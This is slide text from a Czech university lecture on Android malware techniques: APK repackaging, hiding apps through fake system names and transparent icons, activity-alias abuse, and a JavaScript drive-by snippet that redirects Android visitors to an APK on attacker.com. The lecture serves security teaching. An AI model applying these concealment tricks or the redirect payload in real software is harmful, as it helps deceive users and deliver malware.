Mobilní malware na platformě Android Přednáška 1 Ing. Milan Oulehla
Úvod 1 Informace o přednášce: odhalení bezpečnostních chyb na základě vlastního výzkumu: systémové dokumentace studia bezpečnostních mechanismů
Úvod 2
Úvod 3 Informace o přednášce: o technikách, které používají tvůrci mobilního malware: Bezpečnost živý organismus Vytvoření vlastních zdrojových kódů Replikace postupů
APK infekce 1 APK repackage legitimní (placené) aplikace: Dekopilace Vložení malware kódu (Smali) Opětovný buit aplikace Fileshare servery Omezení této techniky Nástroje: Dex2Jar, JD-GUI, Apktool, Virtuous Ten Studio
APK infekce 2
APK infekce 3 Intruder APK (trojan) Legitimní a nelegitimní část Je zadarmo Něco za něco např. tvůrce malware nabídne hru, ale ta vykrádá kontakty pro spamovou databázi, analytická data pro cílenou reklamu Forma knihoven, JAR souborů opětovné použití Softwarová tržiště třetích stran Google Play Fileshare servery
APK infekce 4 Hidden APK 1 Často využívá BroadcastReceiver Používá maskovací mechanismy Dvě verze: A, Pro Android 2.3.3 a nižší Evil Applications B, Pro Android 3.0 a vyšší povinné svázání BroadcastReceiveru a Aktivity
APK infekce 5 Hidden APK 2 - Evil Application Aplikace je tvořena pouze BroadcastReceiverem Reakce na události Malware kód, který na ně reaguje v metodě onreceive()
APK infekce 6 Hidden APK 3 - Evil Application Maskování: V souboru AndroidManifest.xml file lze editovat parametr: android: label = "@string/app_name" pomocí.../res/values/strings.xml: <string name = "app_name">our Malware Name</string> <string name="app_name">google Service Setup</string>
APK infekce 7 Hidden APK 4 - Evil Application Android nekontroluje hodnotu parametru app_name! => může tam být cokoliv Existuje "Google Services Framework" Vymyšlené "Google Services Setup" Google 16,200 výsledků (v době vytvoření malware)
APK infekce 8 Hidden APK 5 - Evil Application Změna ikony malware aplikace na systémovou z.../sdk/samples/... Výsledek:
APK infekce 9 Hidden APK 6 - Evil Application Pokud je aplikace tvořena pouze BroadcastReceiverem:
APK infekce 10 Hidden APK 7 - Evil Application Pokud je aplikace tvořena pouze BroadcastReceiverem: Je spuštěna automaticky, jakmile nastane sledovaná událost => malware nepotřebuje ani <uses-permission android:name="android.permission.receive_boot _COMPLETED"/>
APK infekce 11 Hidden APK 8 - Evil Application Pokud aplikace je aplikace tvořena pouze BroadcastReceiverem: Neobjeví se v ikonovém seznamu aplikací (po stisku tlačítka Apps) Objeví se pouze v seznamu naistalovaných aplikací (Settings -> Applications -> Manage applications -> List of installed applications)
APK infekce 12 Hidden APK 9 (with Activity) Také využívá BroadcastReceiver Je svázaný s Activity => musí používat maskovací mechanismy
APK infekce 13 Hidden APK 10 (with Activity) Úprava.../res/values/styles.xml
APK infekce 14 Hidden APK 11 (with Activity) Úprava XML souboru (layout) popisujícího GUI prvky Activity: Odstranit všechny elementy UI jako např. TextView z XML layout souboru Ponechat pouze základní element, který popisuje samotný layout např. RelativeLayout
APK infekce 15 Hidden APK 12 (with Activity) The display freeze fix: Popis problému Zavolat finish() z onresume() Neviditelné probliknutí
APK infekce 16 Hidden APK 13 (with Activity) Manipulace parametru v.../res/values/strings.xml: <string name="app_name"></string> <string name="app_name"> </string> <string name="app_name"> </string>
APK infekce 17 Hidden APK 14 (with Activity) Nahrazení standartních ikon aplikace průhlednými PNG obrázky. V adresářích:.../res/drawable-hdpi.../res/drawable-mdpi.../res/drawable-xhdpi.../res/drawable-xxhdpi
APK infekce 18 Hidden APK 15 (with Activity)
APK infekce 19 Hidden APK 16 (with Activity) výsledek:
Google Bouncer Google Play Investigation into Google Play security mechanisms via experimental botnet
Webová infekce 1 1, <body onload="myonload()"> 2, JavaScript function myonload () { var ua = navigator.useragent.tolowercase(); var isandroid = ua.indexof("android") > -1; //&& ua.indexof("mobile"); if(isandroid) { window.location.href = 'http://www.attacker.com/android_download/paid_game_for_free.apk'; } else { // JINE OS } }
Webová infekce 2
Webová infekce 3
Zneužití activity-alias 1 Úprava AndroidManifest.xml: Potlačení původní ikony v Apps programs Přidání elementu activity-alias
Zneužití activity-alias 2 Spuštění škodlivého kódu
Zneužití JavaScriptu ve WebView 1 www stránka se škodlivým kódem napadený www server 1 2 Aplikace s WebView 3
Zneužití JavaScriptu ve WebView 2 Video ukázka: 28_Video- WebView_JavaScript_part2 Video ukázka: 27_Video- WebView_JavaScript_part1
Skrytá realizace DDoS pomocí vlákna na pozadí AndroidVideoPlayer 1 Přehrávání videa Přechod na pozadí 1 DoItInBackground DDoS Video ukázka: 29_Video-DDoS_separate_thread
Jak poznat škodlivé Intenty 1 Secure inter-process communication Každá Android aplikace má přiřazeno jedinečné UID a každá musí běžet jako samostatný proces. Procesy aplikací spolu nemohou komunikovat přímo, ale musí použít prostředníka, např: Intents Network sockets atd.
Jak poznat škodlivé Intenty 2 Video ukázka: 3_Video-Intent1-suspicious Trigger Is screen locked? yes Do something malicious no
Jak poznat škodlivé Intenty 3 Aplikace spolupracuje s uživatelem Aplikace začne akci a uživatel ji dokončí Vývody tohoto přístupu Aplikace nemusí žádat s oprávnění pro tyto akce Uživatel používá standartní uživatelské komponenty, které zná a umí je ovládat Zpátky je možné dostat výsledek akce: startactivityforresult(intent, 1);
Jak poznat škodlivé Intenty 4 Podezřelá nebo špatně napsaná aplikace: Normální, správně napsaná aplikace: Lze získat i výsledek interakce s uživatelem pomocí: startactivityforresult
Jak poznat škodlivé Intenty 5 Podezřelá nebo špatně napsaná aplikace:
Jak poznat škodlivé Intenty 6 Normální, správně napsaná aplikace: Nepotřebuje žádná oprávnění akci (přístup k chráněným prostředkům) dokončí se spoluúčastí uživatele
Třídy Android Malware 1 Malware, který útočí na uživatelské aplikace: Krádeže citlivých uživatelský dat (např. textová komunikace instant messenger aplikace). Krádeže aplikačních dat část kombinovaného útoku (např. master password - internet banking aplikací). Zneužití bezpečnostních chyb v aplikacích (např. chyba, která umožní posílat spam přes alternativního e-mailového klienta).
Třídy Android Malware 2 Malware, který útočí na chyby v OS Malware, který útočí na chyby v HW Malware, který využívá metod sociálního inženýrství. Napálení uživatele, příklad dekrementace counteru
Útok na aplikaci 1
Útok na aplikaci 2
Útok na aplikaci 3
Útok na aplikaci 4
Útok na aplikaci 5 I. Statická část Hledání řetězců Řetězce http a https uvést příklad české firmy Zapomenuté Stringy obsahující loginy a hesla z fáze ladění aplikace (Administrátorská úroveň Uživatelská úroveň) Video ukázka: 6_Video-StringDigging-Address
Útok na aplikaci 6 Online dekompilace AKP např. pomocí: http://www.decompileandroid.com/ Dekompilace AKP např. pomocí: Dex2jar a JD-GUI, Virtuous Ten Studio, APKTool
Útok na aplikaci 7
Útok na aplikaci 8 II. Dynamická část Stažená APK aplikace je útočníky nainstalována do: emulátoru rootnutého telefonu To znamená s právy superuživatele!
Útok na aplikaci 9
Útok na aplikaci 10 Video ukázka: 17_Video-Zachytavani_logu_pomoci_logcat
Děkuji Vám za pozornost. oulehla@fai.utb.cz